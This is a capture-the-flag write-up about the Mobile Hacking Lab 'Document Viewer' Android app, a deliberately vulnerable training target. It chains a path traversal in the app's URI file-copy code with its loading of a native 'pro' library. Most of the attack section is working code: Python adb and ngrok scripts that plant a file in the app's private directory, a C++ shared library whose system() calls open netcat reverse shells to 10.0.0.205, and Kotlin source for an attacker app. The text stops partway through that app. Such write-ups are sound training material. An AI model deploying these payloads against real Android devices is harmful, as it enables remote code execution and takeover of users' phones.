Mobile Hacking Lab - Document Viewer
Path Traversal to Dynamic Code Loading for RCE in Android: A Mobile Hacking Lab CTF Challenge
Another thrilling challenge from Mobile Hacking Lab! This one captivated me from start to finish. It took a good while and plenty of trial and error to crack it, but pulling it off was super rewarding. It always fascinates me how a path traversal can open the door to remote code execution through dynamic code loading. It was a cool experience that pushed my limits and seriously boosted my understanding of how to turn simple vulnerabilities into a more complex exploits.
You can access the challenge here: Mobile Hacking Lab - Document Viewer
The Challenge Overview
The challenge “Document Viewer” takes place in an Android app’s document viewing feature. The goal is simple, find a path traversal vulnerability and chain it to a dynamic code loading issue to achieve Remote Code Execution (RCE) on the device, highlighting a crucial oversight in the secure handling of document rendering and library management within the mobile app. Ready?
Discovery Phase
Upon launching the app, we’re welcomed by a straightforward UI featuring a button designed to load a locally stored PDF.
Next, I deployed my tool, Deeeeper, which leverages APKtool to first decompile the application, and then it scans for activities.
Processing Activities:
com.mobilehackinglab.documentviewer.MainActivity (exported=true)
android.intent.action.MAIN
android.intent.action.VIEW
file://
http://
https://
Deeeeper result is interesting. The Processing Activities
describes the activities found on the MainActivity
of the com.mobilehackinglab.documentviewer
package. The details outline how this main activity is configured in terms of its interaction with different types of intents and data schemes.
Exported=true
: This indicates that theMainActivity
is accessible to other apps. An activity withexported=true
can be started by components of other apps, which can be a security risk if not properly handled, especially when dealing with sensitive information and actions.android.intent.action.MAIN
: This is a standard category indicating that this activity serves as an entry point for the app. It’s what allows the activity to be launched directly from the launcher.android.intent.action.VIEW
: This shows that the activity is designed to handle aVIEW
action, which means it can display data to the user. Activities that respond to this action can be invoked to present various types of content to the user.file://
,http://
,https://
: These are the data schemes the activity can handle. It suggests that theMainActivity
is capable of opening and displaying content from these sources. Specifically:file://
indicates it can open files stored locally on the device.http://
andhttps://
indicate it can open web pages or online files over HTTP or HTTPS protocols.
Code Analysis #1
Let’s fire up jadx-gui and dig through the code to get a grip on how this app works. I won’t go over all the methods because it will take forever so I will only focus on what is interesting for the challenge.
MainActivity
onCreate
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());
Intrinsics.checkNotNullExpressionValue(inflate, "inflate(...)");
this.binding = inflate;
if (inflate == null) {
Intrinsics.throwUninitializedPropertyAccessException("binding");
inflate = null;
}
setContentView(inflate.getRoot());
BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE, null, null, new MainActivity$onCreate$1(this, null), 3, null);
setLoadButtonListener();
handleIntent();
loadProLibrary();
if (this.proFeaturesEnabled) {
initProFeatures();
}
}
As mentioned in my previous posts, onCreate
is where the magic begins. This method is the launching pad for the activity’s lifecycle, setting up the initial state of the application.
- Initialization Methods: The code calls several methods:
setLoadButtonListener();
sets up a listener for a button in the UI.handleIntent();
Processes any intents that started the activity, handling incoming data.loadProLibrary();
Start a library or functionality specific to the “pro” version of the app. Very suspicious!
- Conditional Pro Features Initialization:
if (this.proFeaturesEnabled) { initProFeatures(); }
checks if pro features are enabled. If the value is true, it starts the pro features throughinitProFeatures();
.
setLoadButtonListener
[...]
public static final void setLoadButtonListener$lambda$3(MainActivity this$0, View it) {
Intrinsics.checkNotNullParameter(this$0, "this$0");
ActivityResultLauncher<String> activityResultLauncher = this$0.getContent;
if (activityResultLauncher == null) {
Intrinsics.throwUninitializedPropertyAccessException("getContent");
activityResultLauncher = null;
}
activityResultLauncher.launch("application/pdf");
}
This code is helpful because it gives us what the application is expecting as MIME. Will be useful for crafting our exploit ;)
activityResultLauncher.launch("application/pdf")
: This invokes the launcher to start an activity that can handle the intent with the action to load a PDF file ("application/pdf"
). The string argument specifies the type of content that the activity should handle.
Let’s see how the handleIntent
method works…
handleIntent
private final void handleIntent() {
Intent intent = getIntent();
String action = intent.getAction();
Uri data = intent.getData();
if (Intrinsics.areEqual("android.intent.action.VIEW", action) && data != null) {
CopyUtil.Companion.copyFileFromUri(data).observe(this, new MainActivity$sam$androidx_lifecycle_Observer$0(new Function1<Uri, Unit>() {
{
super(1);
}
public Unit invoke(Uri uri) {
invoke2(uri);
return Unit.INSTANCE;
}
public final void invoke2(Uri uri) {
MainActivity mainActivity = MainActivity.this;
Intrinsics.checkNotNull(uri);
mainActivity.renderPdf(uri);
}
}));
}
}
This code is designed to handle incoming Intent
,with a method named handleIntent()
. We can see that a method named renderPdf()
. It copy the document from the provided URI to a local storage location and then rendering the pdf onto the screen.
- Retrieve the Current Intent: The method begins by retrieving the current
Intent
that started the activity usinggetIntent()
- Extract Action and Data from the Intent: It extracts the action string with
getAction()
and the data URI withgetData()
from the intent. These are used to determine what the intent wants the app to do and possibly provide the data to act upon. - Check Intent Action and Data: The code checks if the action of the intent is
android.intent.action.VIEW
. It also checks if the data URI is not NULL to ensure there’s data to process. - Copy File from URI: If the conditions are met, it attempts to copy the file pointed to by the data URI using
CopyUtil.Companion.copyFileFromUri(data)
. This suggests that the app copies the file from the given URI to a local location where it can be accessed. - Observing the Copy Operation: The
observe
method is used to watch for the completion of the file copy operation. Upon completion, an anonymous class implementingFunction1<Uri, Unit>
interface is provided as an observer. This observer’sinvoke
method is called with the URI of the copied file as its argument. - Rendering the PDF: Inside the
invoke
method, there’s a call tomainActivity.renderPdf(uri)
, passing the URI of the copied file. Once the file copy operation is successful, the app attempts to render the PDF referred to by the URI.
Next, we have the loadProLibrary
loadProLibrary
private final void loadProLibrary() {
try {
String abi = Build.SUPPORTED_ABIS[0];
File libraryFolder = new File(getApplicationContext().getFilesDir(), "native-libraries/" + abi);
File libraryFile = new File(libraryFolder, "libdocviewer_pro.so");
System.load(libraryFile.getAbsolutePath());
this.proFeaturesEnabled = true;
} catch (UnsatisfiedLinkError e) {
Log.e(TAG, "Unable to load library with Pro version features! (You can ignore this error if you are using the Free version)", e);
this.proFeaturesEnabled = false;
}
}
The loadProLibrary
method dynamically load a native library at runtime, specifically a library that unlock the ‘Pro’ version.
- Determining the Device’s ABI: It starts by determining the device’s Application Binary Interface (ABI) with
Build.SUPPORTED_ABIS[0]
. The ABI tells how an application’s machine code interacts with the system, and choosing the first ABI from the supported list placed at index 0. This ABI information is used to load the correct version of the native library compatible with the device’s architecture. - Locating the Library File: The method constructs a path to where the library is expected to be located. It does this by creating a
File
object for a directory inside the application’s private file space (getFilesDir()
), appending “native-libraries/” and the ABI to form a path. Inside this directory, it expects to find the library file namedlibdocviewer_pro.so
. - Loading the Library: With the absolute path to the library file, it attempts to load the library using
System.load(libraryFile.getAbsolutePath())
. This call dynamically links the specified library with the application at runtime. - Handling Success and Failure: If the library loads successfully, the method sets a boolean field
proFeaturesEnabled
totrue
, indicating that Pro features should be available within the application. - If the library fails to load, which could happen if the library file doesn’t exist, isn’t compatible with the device’s ABI, or other reasons, an
UnsatisfiedLinkError
is caught. The catch block logs an error message indicating the failure to load the library and setsproFeaturesEnabled
tofalse
, implying that the Pro features will not be available, and the application should operate in a ‘Free’ or reduced functionality mode.
Might be our path to the dynamic code loading issue? Let’s keep a note and come back later…
Dynamic Test: Initial Understanding
My strategy was to first find the path traversal vulnerability. I decided to see how the app reacted during a simple PDF upload using one of the intent
. I pushed a PDF file in /sdcard/Download
on the device using adb
and I went ahead and used file://
for the test. I also had to use the -t
argument to specify the Content-Type, as expected by the application.
Before sending the adb
command, I started pidcat
to see what was going on under the hood.
adb shell am start -a android.intent.action.VIEW -d file:///sdcard/Download/payload1.pdf -t application/pdf com.mobilehackinglab.documentviewer
pidcat
log was interesting from the get go. We can see the initial call the app makes to check if proFeaturesEnabled
is enabled. It’s trying to read the libdocviewer_pro.so
file we saw earlier located at:
/data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/
The file is obviously not present in it’s location…
Unable to load library with Pro version features! (You can ignore this error if you are using the Free version)
E java.lang.UnsatisfiedLinkError: dlopen failed: library "/data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/libdocviewer_pro.so" not found
I scrolled down pidcat
. There’s and error: Error rendering PDF: file:///storage/emulated/0/Download/payload1.pdf
I had to go back in jadx-gui and look at the code again…
Code Analysis #2
CopyUtil
The CopyUtil
class is designed for file manipulation operations. It can copy files either from the application’s assets or from a URI to a more accessible location, typically the Download
directory of the device.
public final MutableLiveData<Uri> copyFileFromAssets(Context context, String fileName) {
Intrinsics.checkNotNullParameter(context, "context");
Intrinsics.checkNotNullParameter(fileName, "fileName");
AssetManager assetManager = context.getAssets();
File outFile = new File(CopyUtil.DOWNLOADS_DIRECTORY, fileName);
MutableLiveData liveData = new MutableLiveData();
BuildersKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), null, new CopyUtil$Companion$copyFileFromAssets$1(outFile, assetManager, fileName, liveData, null), 2, null);
return liveData;
}
copyFileFromAssets(Context context, String fileName)
: This method copies a file from the application’s assets to the downloads directory. It takes the applicationContext
and the assetfileName
as parameters. The method constructs the output file path in the downloads directory, launches a coroutine on the IO dispatcher for asynchronous execution, and returns aMutableLiveData<Uri>
that will be updated with the URI of the copied file or an error.
public final MutableLiveData<Uri> copyFileFromUri(Uri uri) {
Intrinsics.checkNotNullParameter(uri, "uri");
URL url = new URL(uri.toString());
File file = CopyUtil.DOWNLOADS_DIRECTORY;
String lastPathSegment = uri.getLastPathSegment();
if (lastPathSegment == null) {
lastPathSegment = "download.pdf";
}
File outFile = new File(file, lastPathSegment);
MutableLiveData liveData = new MutableLiveData();
BuildersKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), null, new CopyUtil$Companion$copyFileFromUri$1(outFile, url, liveData, null), 2, null);
return liveData;
}
copyFileFromUri(Uri uri)
: Similar tocopyFileFromAssets
, but this method copies a file from a given URI. It constructs aURL
object from the URI’s string representation, generates an output file path based on the URI’s last path segment (defaulting to “download.pdf” if none is found), launches a coroutine for the copy operation, and returns aMutableLiveData<Uri>
for the result.
NOTE: DOWNLOADS_DIRECTORY: Both methods
static final
field initialized with the path to the device’s external downloads directory. This is where copied files will be stored. The directory is set once when the class is loaded.
CopyUtil$Companion$copyFileFromAssets$1
The CopyUtil$Companion$copyFileFromAssets$1
copy a file from the application’s assets to a local file and notify about the operation’s success or failure using LiveData.
public final Object invokeSuspend(Object obj) {
String str;
IntrinsicsKt.getCOROUTINE_SUSPENDED();
switch (this.label) {
case 0:
ResultKt.throwOnFailure(obj);
try {
File $this$invokeSuspend_u24lambda_u241 = this.$outFile.getParentFile();
if ($this$invokeSuspend_u24lambda_u241 != null) {
if (!(!$this$invokeSuspend_u24lambda_u241.exists())) {
$this$invokeSuspend_u24lambda_u241 = null;
}
if ($this$invokeSuspend_u24lambda_u241 != null) {
$this$invokeSuspend_u24lambda_u241.mkdirs();
}
}
InputStream open = this.$assetManager.open(this.$fileName);
InputStream inputStream = open;
FileOutputStream fileOutputStream = new FileOutputStream(this.$outFile);
FileOutputStream outputStream = fileOutputStream;
Intrinsics.checkNotNull(inputStream);
ByteStreamsKt.copyTo$default(inputStream, outputStream, 0, 2, null);
CloseableKt.closeFinally(fileOutputStream, null);
CloseableKt.closeFinally(open, null);
this.$liveData.postValue(Uri.fromFile(this.$outFile));
} catch (Exception e) {
str = CopyUtil.TAG;
Log.e(str, "Error copying file from: assets://" + this.$fileName, e);
this.$liveData.postValue(Uri.EMPTY);
}
return Unit.INSTANCE;
default:
throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
}
}
File Copy Assets
- Parent Directory Preparation:
- Retrieves the parent directory of the designated output file (
this.$outFile.getParentFile()
). - Checks if the directory exists. If it doesn’t, it attempts to create the directory (and any necessary parent directories) with
mkdirs()
.
- Retrieves the parent directory of the designated output file (
- Opening Asset File:
- Attempts to open an
InputStream
from the assets usingthis.$assetManager.open(this.$fileName)
, targeting the file specified bythis.$fileName
.
- Attempts to open an
- Setting up File Output:
- Prepares a
FileOutputStream
for the output file (this.$outFile
), where the asset’s contents will be written.
- Prepares a
- File Copying:
- Performs the actual copying of data from the
InputStream
to theFileOutputStream
usingByteStreamsKt.copyTo$default(...)
. This utility function copies all bytes from the source to the destination, handling buffer allocation and looping internally.
- Performs the actual copying of data from the
This is what I’m trying to achieve. Copying a local file from the device to the Download
directory. With that in mind, I decided to try to read proc/cpuinfo
. If I can read it, it will copy the file in the Download
directory.
Dynamic Test: Path traversal #2
With this information, I built a simple python script to check if I could read any file from the device. It goes through a list of path traversal payloads. If things go as plan, it should save the cpuinfo
file in /Download
.
Based off the previous script I used in another Mobile Hacking Lab, it was easy to tweak.
import argparse
import subprocess
import time
def construct_adb_command(payload):
return f'adb shell am start -a android.intent.action.VIEW -d "file:///{payload}/proc/cpuinfo" -t application/pdf com.mobilehackinglab.documentviewer'
def read_payloads(file_path):
with open(file_path, 'r') as file:
return file.readlines()
def main(file_path):
payloads = read_payloads(file_path)
for payload in payloads:
payload = payload.strip()
adb_command = construct_adb_command(payload)
print(f"Running: {adb_command}")
subprocess.run(adb_command, shell=True)
time.sleep(5)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Run ADB commands with Path Traversal payloads.')
parser.add_argument('file_path', type=str, help='Path to the file containing Path Traversal payloads.')
args = parser.parse_args()
main(args.file_path)
Now, I only had to monitor the device to see if the cpuinfo
file magically appears in the Download
directory.
After a very short period of time…
The file appeared! Confirming the path traversal vulnerability!
I checked pidcat
and saw the path and the cpuinfo
file:
I checked the file on the device:
Awesome, we know that there’s a path traversal…
The Game Plan
Alright, the path traversal is confirmed. The next step is to chain this with Remote Command Execution. We know that the application is calling loadProLibrary();
and check the folder:
/data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/
to see if the file libdocviewer_pro.so
is present.
What if we can create our own libdocviewer_pro.so
file and write it to:
/data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/
?
The application would run the file at runtime give us RCE. We could use the https
or http
call for that.
Let’s go back to jadx-gui once again to analyze those class.
Code Analysis #3
CopyUtil$Companion$copyFileFromUri$1
The CopyUtil$Companion$copyFileFromUri$1
copy a file from a given URL to a local file and post the result using LiveData.
public final Object invokeSuspend(Object obj) {
String str;
IntrinsicsKt.getCOROUTINE_SUSPENDED();
switch (this.label) {
case 0:
ResultKt.throwOnFailure(obj);
try {
File $this$invokeSuspend_u24lambda_u241 = this.$outFile.getParentFile();
if ($this$invokeSuspend_u24lambda_u241 != null) {
if (!(!$this$invokeSuspend_u24lambda_u241.exists())) {
$this$invokeSuspend_u24lambda_u241 = null;
}
if ($this$invokeSuspend_u24lambda_u241 != null) {
$this$invokeSuspend_u24lambda_u241.mkdirs();
}
}
if (Intrinsics.areEqual(this.$url.getProtocol(), "file")) {
InputStream openStream = this.$url.openStream();
InputStream inputStream = openStream;
FileOutputStream fileOutputStream = new FileOutputStream(this.$outFile);
FileOutputStream outputStream = fileOutputStream;
Intrinsics.checkNotNull(inputStream);
ByteStreamsKt.copyTo$default(inputStream, outputStream, 0, 2, null);
CloseableKt.closeFinally(fileOutputStream, null);
CloseableKt.closeFinally(openStream, null);
} else {
URLConnection openConnection = this.$url.openConnection();
Intrinsics.checkNotNull(openConnection, "null cannot be cast to non-null type java.net.HttpURLConnection");
HttpURLConnection connection = (HttpURLConnection) openConnection;
connection.connect();
BufferedInputStream bufferedInputStream = new BufferedInputStream(connection.getInputStream());
BufferedInputStream inputStream2 = bufferedInputStream;
FileOutputStream fileOutputStream2 = new FileOutputStream(this.$outFile);
FileOutputStream outputStream2 = fileOutputStream2;
ByteStreamsKt.copyTo$default(inputStream2, outputStream2, 0, 2, null);
CloseableKt.closeFinally(fileOutputStream2, null);
CloseableKt.closeFinally(bufferedInputStream, null);
connection.disconnect();
}
this.$liveData.postValue(Uri.fromFile(this.$outFile));
} catch (Exception e) {
str = CopyUtil.TAG;
Log.e(str, "Error copying file from: " + this.$url, e);
this.$liveData.postValue(Uri.EMPTY);
}
return Unit.INSTANCE;
default:
throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
}
}
File Copy URI
- Initial File Handling:
- Checks if the parent directory of the output file (
this.$outFile.getParentFile()
) exists. If it doesn’t, the method attempts to create the directories (mkdirs()
).
- Checks if the parent directory of the output file (
- File Copying Based on Protocol:
- If the protocol of the URL (
this.$url.getProtocol()
) is “file”, it treats the URL as a local file. It opens anInputStream
from the URL and copies it to the output file using aFileOutputStream
. - If the protocol is not “file”, it assumes it needs to handle a network request. It opens a connection (
this.$url.openConnection()
), casts it toHttpURLConnection
, connects, and reads the input stream through aBufferedInputStream
. The content is then copied to the output file.
- If the protocol of the URL (
- Common File Copying Operations:
- Regardless of the protocol, file copying involves reading from an
InputStream
and writing to aFileOutputStream
. The actual copying is performed byByteStreamsKt.copyTo$default(...)
- Regardless of the protocol, file copying involves reading from an
- Posting Results:
- After copy, it posts the URI of the output file to the provided
LiveData
(this.$liveData
). - In case of any exceptions during the file copying process, it logs the error using
Log.e(...)
and posts an empty URI (Uri.EMPTY
) to signify failure.
- After copy, it posts the URI of the output file to the provided
Okay, we can go back to our game plan…
Dynamic Test: Copying External File to Target
The strategy in this section is to successfully write a file in the target directory:
/data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/
It needs to accept the file from a remote URI, one that we control, and write the file using the path traversal found in the previous section.
Now, after lots of trial and error, I built a script to automate the process to save time when trying different payloads.
Instead of writing each steps individually, I’ll go over the script by section.
Steps the we need to do:
- Create a test.pdf file
- Start a python server
- Forward that server to Ngrok public address
- Run adb command with path traversal list and Ngrok address
It was tricky because the URI wasn’t parsed as it should during the GET request.
Building the Script
Lets start by importing the libraries:
- logging
- command-line argument parsing
- HTTP server functionality
- signal handling
- system operations
- ngrok integration
- time functions
- subprocess management
- terminal coloring (need that color right?)
- import threading
- import mimetypes
- import os
import logging
import argparse
from http.server import BaseHTTPRequestHandler, HTTPServer
import signal
import sys
from pyngrok import ngrok
import time
import subprocess
from colorama import init, Fore, Style
import threading
import mimetypes
import os
Initializes Colorama for the beautiful colors:
init(autoreset=True)
The preload_file
class method loads the file into memory, determining its size and MIME type for appropriate serving. The do_GET
method serves the loaded file with its correct MIME type or returns a 404 error if no file is loaded.
class MyEnhancedServer(BaseHTTPRequestHandler):
file_content = None
file_size = 0
file_mime_type = 'application/octet-stream'
@classmethod
def preload_file(cls, file_path):
try:
with open(file_path, 'rb') as file:
cls.file_content = file.read()
cls.file_size = len(cls.file_content)
cls.file_mime_type, _ = mimetypes.guess_type(file_path)
if cls.file_mime_type is None:
cls.file_mime_type = 'application/octet-stream'
logging.info(f"{Fore.GREEN}File preloaded successfully: {file_path}")
except IOError as e:
logging.error(f"{Fore.RED}Failed to load file: {e}")
sys.exit(1)
def do_GET(self):
if MyEnhancedServer.file_content:
self.send_response(200)
self.send_header('Content-Type', MyEnhancedServer.file_mime_type)
self.send_header('Content-Length', str(MyEnhancedServer.file_size))
self.end_headers()
self.wfile.write(MyEnhancedServer.file_content)
else:
self.send_error(404, 'File Not Found')
Captures SIGINT or CTRL-C signals for termination, making sure any active Ngrok tunnels are disconnected:
def signal_handler(signal_received, frame):
logging.info(f'{Fore.YELLOW}SIGINT or CTRL-C detected. Exiting gracefully.')
ngrok.disconnect(public_url)
sys.exit(0)
Starts the HTTP server, sets up Ngrok tunnel, and prints the public URL, also starts a new thread to execute ADB commands using the Ngrok URL without blocking the server and handles signals for shutdowns:
def start_server_and_ngrok(port, file_path, payload_path):
MyEnhancedServer.preload_file(file_path)
server_address = ('', port)
httpd = HTTPServer(server_address, MyEnhancedServer)
logging.info(f'{Fore.CYAN}Starting httpd on port {port}...')
public_url = ngrok.connect(port, "http").public_url
print(f"{Fore.MAGENTA}Public URL: {public_url}")
threading.Thread(target=execute_subprocess_with_ngrok_url, args=(public_url, payload_path, file_path)).start()
try:
signal.signal(signal.SIGINT, signal_handler)
httpd.serve_forever()
except KeyboardInterrupt:
print(f"{Fore.RED}Shutting down server and Ngrok tunnel.")
finally:
ngrok.disconnect(public_url)
httpd.server_close()
Now, reading payloads from a file, constructing ADB commands using these payloads. The execute_subprocess_with_ngrok_url
function iterates through each payload, constructs the command, and runs it in a subprocess. The target directory uses URL encoded character since it’s over the network
def read_payloads(file_path):
with open(file_path, 'r') as file:
return file.readlines()
def construct_adb_command(ngrok_url, payload, file_name):
return f'adb shell am start -a android.intent.action.VIEW -d "{ngrok_url}/{payload}data%2Fuser%2F0%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Farm64-v8a%2F{file_name}" -t application/pdf com.mobilehackinglab.documentviewer'
def execute_subprocess_with_ngrok_url(ngrok_url, payload_file_path, file_path):
payloads = read_payloads(payload_file_path)
file_name = os.path.basename(file_path)
for payload in payloads:
time.sleep(5)
payload = payload.strip()
adb_command = construct_adb_command(ngrok_url, payload, file_name)
print(f"{Fore.GREEN}Running: {adb_command}")
subprocess.run(adb_command, shell=True)
Finally, set up argument parsing for the server port and PDF path, path for payload list, configures logging, and starts the server with Ngrok:
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='HTTP Server to serve any type of file')
parser.add_argument('--port', type=int, default=1337, help='Port to listen on')
parser.add_argument('--file', type=str, required=True, help='Path to the file to serve')
parser.add_argument('--payload', type=str, required=True, help='Path to the file containing Path Traversal payloads.')
args = parser.parse_args()
logging.basicConfig(level=logging.INFO)
start_server_and_ngrok(args.port, args.file, args.payload)
The full script:
import logging
import argparse
from http.server import BaseHTTPRequestHandler, HTTPServer
import signal
import sys
from pyngrok import ngrok
import time
import subprocess
from colorama import init, Fore, Style
import threading
import mimetypes
import os
init(autoreset=True)
class MyEnhancedServer(BaseHTTPRequestHandler):
file_content = None
file_size = 0
file_mime_type = 'application/octet-stream'
@classmethod
def preload_file(cls, file_path):
try:
with open(file_path, 'rb') as file:
cls.file_content = file.read()
cls.file_size = len(cls.file_content)
cls.file_mime_type, _ = mimetypes.guess_type(file_path)
if cls.file_mime_type is None:
cls.file_mime_type = 'application/octet-stream'
logging.info(f"{Fore.GREEN}File preloaded successfully: {file_path}")
except IOError as e:
logging.error(f"{Fore.RED}Failed to load file: {e}")
sys.exit(1)
def do_GET(self):
if MyEnhancedServer.file_content:
self.send_response(200)
self.send_header('Content-Type', MyEnhancedServer.file_mime_type)
self.send_header('Content-Length', str(MyEnhancedServer.file_size))
self.end_headers()
self.wfile.write(MyEnhancedServer.file_content)
else:
self.send_error(404, 'File Not Found')
def signal_handler(signal_received, frame):
logging.info(f'{Fore.YELLOW}SIGINT or CTRL-C detected. Exiting gracefully.')
ngrok.disconnect(public_url)
sys.exit(0)
def start_server_and_ngrok(port, file_path, payload_path):
MyEnhancedServer.preload_file(file_path)
server_address = ('', port)
httpd = HTTPServer(server_address, MyEnhancedServer)
logging.info(f'{Fore.CYAN}Starting httpd on port {port}...')
public_url = ngrok.connect(port, "http").public_url
print(f"{Fore.MAGENTA}Public URL: {public_url}")
threading.Thread(target=execute_subprocess_with_ngrok_url, args=(public_url, payload_path, file_path)).start()
try:
signal.signal(signal.SIGINT, signal_handler)
httpd.serve_forever()
except KeyboardInterrupt:
print(f"{Fore.RED}Shutting down server and Ngrok tunnel.")
finally:
ngrok.disconnect(public_url)
httpd.server_close()
def read_payloads(file_path):
with open(file_path, 'r') as file:
return file.readlines()
def construct_adb_command(ngrok_url, payload, file_name):
return f'adb shell am start -a android.intent.action.VIEW -d "{ngrok_url}/{payload}data%2Fuser%2F0%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Farm64-v8a%2F{file_name}" -t application/pdf com.mobilehackinglab.documentviewer'
def execute_subprocess_with_ngrok_url(ngrok_url, payload_file_path, file_path):
payloads = read_payloads(payload_file_path)
file_name = os.path.basename(file_path)
for payload in payloads:
time.sleep(5)
payload = payload.strip()
adb_command = construct_adb_command(ngrok_url, payload, file_name)
print(f"{Fore.GREEN}Running: {adb_command}")
subprocess.run(adb_command, shell=True)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='HTTP Server to serve any type of file')
parser.add_argument('--port', type=int, default=1337, help='Port to listen on')
parser.add_argument('--file', type=str, required=True, help='Path to the file to serve')
parser.add_argument('--payload', type=str, required=True, help='Path to the file containing Path Traversal payloads.')
args = parser.parse_args()
logging.basicConfig(level=logging.INFO)
start_server_and_ngrok(args.port, args.file, args.payload)
NOTE: For this to work with Ngrok, you have to get a paid account or add a specific header that Ngrok will recognize to skip the annoying landing page. Here’s what I did
Proxy the phone traffic to burp from the device and add a simple matching rule:
Now, let’s run it to see what happens!
Monitoring all the requests in burp, I got a 200 OK with this request:
GET /..%2f..%2f..%2f..%2f..%2fdata%2Fuser%2F0%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Farm64-v8a%2Ftest.pdf HTTP/2
Host: 2ffa-2607-fa49-9000-6800-6988-8f9-4d8-ce8a.ngrok-free.app
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Android SDK built for arm64 Build/PSR1.210301.009.B6)
Connection: Keep-Alive
Accept-Encoding: gzip, deflate, br
Ngrok-Skip-Browser-Warning: 13370
I checked on the device and the test.pdf was in the directory!
Everything is working, it’s time to go for the RCE :)
Remote Command Execution
Initializing the Library for Android Applications
For an Android application to utilize functions defined in a native library, it must first bring the library into the application’s memory space.
This is accomplished through this API call from the loadProLibrary()
method:
System.load(libraryFile.getAbsolutePath());
We already know that the application is calling the libdocviewer_pro.so
but it’s missing. I built a malicious libdocviewer_pro.so
to exploit the RCE.
Let’s skip the fluff and go right into the good stuff.
I built the .so
using Android Studio. I made a clone of the Document Viewer app and added C++ support to build the lib.
Step 1: Include Necessary Headers
#include <jni.h>
#include <cstdlib>
#include <string>
jni.h
: Header file for the JNI. It’s required for any native method implementations that interact with Java code.cstdlib
: Header file that includes functions for general-purpose functions such as memory allocation, process control, conversions, etc.string
: Header for thestd::string
class, which is used to handle strings in C++.
Step 2: Define the Native Method
extern "C" JNIEXPORT void JNICALL
Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures(JNIEnv* env) {
extern "C"
: Specifies linkage for the C programming language, which is necessary for JNI so that the Java virtual machine (JVM) can locate and link the native method.JNIEXPORT
andJNICALL
: Macros defined by JNI that ensure compatibility across different platforms.void
: The return type of the function, indicating that this method does not return any value.Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures
: The method name that JNI uses to map the native method to the Java method. It includes the package name (com_mobilehackinglab_documentviewer
), class name (MainActivity
), and the method name (initProFeatures
) because that’s what we’re targeting.JNIEnv* env
: A pointer to the JNI environment, which provides functions that allow native code to interface with Java.
Step 3: Declare and Execute Commands
std::string command1 = "toybox nc 10.0.0.205 8083 | sh";
- Since Android is very limited, I had to use
toybox
to callnc
for the reverse shell and pipe any incoming data to the shell (sh
).
The tricky part:
std::string command2 = "tail -n 0 -f /data/data/com.mobilehackinglab.documentviewer/1 | /bin/sh -i 2>&1 | toybox nc 10.0.0.205 8084 1> /data/data/com.mobilehackinglab.documentviewer/1";
- This command sets up reverse shell by monitoring a file (
/data/data/com.mobilehackinglab.documentviewer/1
) for changes and executing any commands appended to it. The output is piped back to a remote listener viatoybox nc
on port8084
.
This approach was based off this very interesting article by Project Zero: Project Zero - MMS Exploit Part 5: Defeating Android ASLR, Getting RCE
system(command1.c_str());
system(command2.c_str());
- These lines execute the commands stored in
command1
andcommand2
using thesystem()
function, which passes the command to the host environment to be executed by the command processor.
Final: The Malicious libdocviewer_pro.so
Code
#include <jni.h>
#include <cstdlib>
#include <string>
extern "C" JNIEXPORT void JNICALL
Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures(JNIEnv* env) {
std::string command1 = "toybox nc 10.0.0.205 8083 | sh";
std::string command2 = "tail -n 0 -f /data/data/com.mobilehackinglab.documentviewer/1 | /bin/sh -i 2>&1 | toybox nc 10.0.0.205 8084 1> /data/data/com.mobilehackinglab.documentviewer/1";
system(command1.c_str());
system(command2.c_str());
}
Now, just need to click on Build > Generate Singed Bundle / APK ...
Open the local directory the APK is located, use apktool
to decompile the APK and navigate to the lib
directory.
Rename the file to libdocviewer_pro
Testing the libdocviewer_pro.so
We can use the python script for this. Let’s run it:
Check if the file is saved in data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/
We just need to setup 2 listeners for the reverse shell:
nc -lnv 8083
nc -lnv 8084
Let’s fire the application… and we get a connection back! it’s a very limited shell but still a shell :)
The Malicious Application
Now that I have everything in place, I built a small application to exploit:
- The path traversal
- download the malicious
libdocviewer_pro.so
file - save it in:
data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/
.
The user only need to open the Document Viewer app to trigger the shell.
Here’s the full code for the malicious application:
package com.documentviewer.poc
import android.annotation.SuppressLint
import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.widget.TextView
import androidx.appcompat.app.AppCompatActivity
class DirectoryTraversalExploitActivity : AppCompatActivity() {
@SuppressLint("SetTextI18n")
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_directory_traversal_exploit)
val tvExploitStatus: TextView = findViewById(R.id.tvExploitStatus)
tvExploitStatus.text = "Exploit Status: Attempting..."
executeExploit()
}
private fun executeExploit() {
val targetComponent = TargetComponent(
"com.mobilehackinglab.documentviewer",
"com.mobilehackinglab.documentviewer.MainActivity"
)
val encodedFilePath = Uri.encode("../../../../../data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/libdocviewer_pro.so")
val exploitUri = "https://0xalmighty.ngrok.io/$encodedFilePath"
launchTargetActivity(targetComponent, exploitUri, "application/pdf")
}
private fun launchTargetActivity(targetComponent: TargetComponent, dataUri: String, mimeType: String) {
val intent = Intent(Intent.ACTION_VIEW).apply {
setClassName(targetComponent.packageName, targetComponent.activityName)
